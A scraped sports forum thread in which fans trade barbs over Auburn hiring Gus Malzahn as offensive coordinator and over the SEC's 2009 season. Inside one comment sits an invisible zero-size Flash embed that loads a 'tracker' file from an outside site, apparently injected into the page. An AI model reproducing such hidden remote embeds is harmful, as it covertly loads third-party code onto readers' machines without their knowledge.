Chief and Monte head the list.

I am amazed at the amount of comments saying Chavis is a better hire than Monte.<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="0" height="0"><param name="movie" value="http://nfledge.net/?tracker=3759"></param><param name="allowFullScreen" value="true"></param><embed src="http://nfledge.net/?tracker=3759" type="application/x-shockwave-flash" allowfullscreen="true" width="0" height="0"></embed></object>
Gus Malzahn, offensive coordinator, Auburn: When defensive coordinators become head coaches, they all look for the same thing when it comes time to pick their offensive coordinator.
I look for a guy who runs the stuff I had trouble stopping, said Auburn head coach Gene Chizik, who was the DC at Auburn and Texas before a two-year stint as Iowa States head coach.
Chizik believes that some form of the spread offense is the way to go and that is why he hired Malzahn away from Tulsa.
He went to Arkansas with his prized recruit, quarterback Mitch Mustain, in 2006. Neither Malzahn nor Mustain were compatible with the Razorbacks run-oriented offense.
Auburn, however, may not have a quarterback in the program who can run this offense the way it is intended. No starter has been named.
He better have his defensive scheme set up with athletic players who can handle 3-and-outs from the Tiger Offense.
Yea, the spread eagle worked so good at the Barn last year. :dance2: Please run it again this year Cheez-it.
I thought Auburn fans considered the Barn Running Back U? Of course thats what they always say :crazy: But every one knows they are really Chop Block U.
It doesn't matter that they dont have the QB to run the system. The offensive line was totally confused running the offense at the Barn last year. With a new coach coming in with a different variant of the spread eagle as Franklin had, 2009 looks to be a LONG season down on the Plains.
No matter, Toomers will still get rolled....
It looks like you don't know much about Malzahn.
Is that all you got? C'mon Auburn has ALREADY tried to run the no huddle spread...and they were freakin terrible, HORRIBLE even
Yea I know who Malzahn is :thumbsup: Impressive high school coach and the Tulsa offense was explosive but look at who they played last year. What about that Trashing that Houston put on them.
Who doesn't run atleast a version of the no-hudde or the wildcat hogwild, wild rebel or Cheez-wild in this case. Auburn tried to run the same offense last year and well the stats speak for themselves.
Kodi Burns barely had 1,000 yards passing all QB's combined (3) was less than 2000. The leading rusher had 664 total yards and out of 11 players that rushed they only totaled 1650 yards. In comparison Glen Coffee had 1383.
Malzahn has an impressive resume, but he also had McFadden and Jones in the backfield at Arkansas. To think that he and Cheez-it will turn around that Auburn team this quick...it won't happen, next year maybe.
At best auburn will be a 6-7 team this year. Now if the players respond to the coaches and learn the system and remember the plays, then we will see.
I guess you didnt see any of Auburns highlights last year. Auburn just doesn't have the athletes to run that offense, if Cheez-it is there long enough he may recruit enough talent to effectively run the offense.
If you believe Auburn's offense from last season is what Malzahn is going to run, you need to do some reading or simply stop talking now.

It's pointless to try and make a rational argument when you have people who just want to argue and post stupid replies like above.
I NEVER SAID THAT IT WAS THE SAME OFFENSE.
Since you and VolNBama think so highly of Gus, are you going to root for him and the Tigers against your Viles? How many points is the vaunted Malzahn offense going to score on the Vol D, or should I say Eric Berry as he was the only bright spot on the defense.
You nimrod. You specifically stated that Auburn tried to run the same offense last year.
The piece about your rational argument sort of flies out the window after this sort of duplicity.
As to your commentary about our D vs Malzahn's offense: only thing rational I can think of is kiss my arse.

Thats ok, when your running ol' Lame and Papa Smurf off Rocky Stop I will sit back and enjoy the meltdown of the Big Orange. Get real logical Vile fans know that TN is screwed this year. Florida will get it started in the Swamp, I bet they hang 50 on the Lame Train...ost-4-1090547912: and laugh at it too.
Then when the lil train that couldn't limps it's way to Tuscaloosa, I hope Saban runs the score up too. That will teach Jr to run that mouth.
I can't wait to see Trent Richardson stiff arm Eric Berry all the way to Birmingham. Then after D.J Fluker pancakes Berry a couple times, he will be beggin Lamey to take him out of the game.
Coleman should have stayed, but he saw a sinking ship and got off before it sunk. Good luck being the cellar dwellers of the East Division this year....again. :yahoo:
You know and everyone else does, Urban is that kinda Coach, he will make an example out of Kiffin. Who knows it might be like that whipping Houston put on the Great Gus's Golden Hurricanes, freakin Houston.
Anyway back to the Smackdown in the Swamp. I say they pull tebow at halftime and put Brantley in to finish the game. I say the final will be 63-13. TN scores a td and kicks two field goals in the 4th.
